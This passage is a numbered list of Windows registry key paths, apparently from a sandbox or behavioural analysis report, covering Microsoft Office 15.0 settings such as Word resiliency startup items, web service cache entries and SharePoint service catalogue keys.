  1458. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Tracing\\powershell_RASAPI32\\FileDirectory",
  1459. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\WORDFiles",
  1460. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems",
  1461. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\t4i",
  1462. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\ProductFiles",
  1463. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LanguageResources\\EnabledLanguages\\1033",
  1464. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTT",
  1465. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\bok",
  1466. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\w k",
  1467. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache",
  1468. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\RemoteClearDate",
  1469. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1",
  1470. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\Last",
  1471. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0",
  1472. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\FilePath",
  1473. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\StartDate",
  1474. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\EndDate",
  1475. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Properties",
  1476. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Url",
  1477. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\LastClean",
  1478. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
  1479. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
  1480. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1481. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1482. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery",
  1483. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\1629AFE",
  1484. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\1629AFE\\1629AFE",
  1485. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
  1486. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
  1487. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
  1488. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
  1489. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1490. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1491. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
  1492. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
  1493. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
  1494. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
  1495. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
  1496. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
  1497. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
  1498. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
  1499. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
  1500. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
  1501. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
  1502. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
  1503. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
  1504. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
  1505. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
  1506. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
  1507. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
  1508. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
  1509. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
  1510. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
  1511. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
  1512. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
  1513. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
  1514. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
  1515. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
  1516. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
  1517. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
  1518. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
  1519. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1520. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
  1521. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
  1522. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
  1523. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
  1524. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
  1525. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1526. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
  1527. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
  1528. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1529. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1530. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1531. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
  1532. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
  1533. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
  1534. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
  1535. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
  1536. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
  1537. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
  1538. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
  1539. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
  1540. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
  1541. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
  1542. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
  1543. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
  1544. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
  1545. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
  1546. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
  1547. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
  1548. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
  1549. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
  1550. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
  1551. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
  1552. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
  1553. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
  1554. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
  1555. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
  1556. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
  1557. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
  1558. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
  1559. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1560. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
  1561. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
  1562. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
  1563. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
  1564. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
  1565. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1566. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
  1567. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
  1568. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1569. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1570. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1571. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
  1572. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
  1573. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
  1574. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
  1575. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
  1576. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
  1577. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
  1578. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
  1579. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
  1580. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
  1581. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
  1582. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
  1583. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
  1584. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
  1585. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
  1586. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
  1587. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
  1588. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
  1589. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
  1590. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
  1591. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
  1592. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
  1593. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
  1594. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
  1595. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
  1596. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
  1597. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
  1598. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
  1599. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
  1600. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
  1601. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
  1602. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
  1603. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
  1604. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
  1605. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
  1606. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
  1607. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
  1608. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
  1609. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
  1610. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
  1611. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
  1612. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
  1613. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
  1614. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
  1615. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
  1616. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1617. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
  1618. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
  1619. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
  1620. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
  1621. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
  1622. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
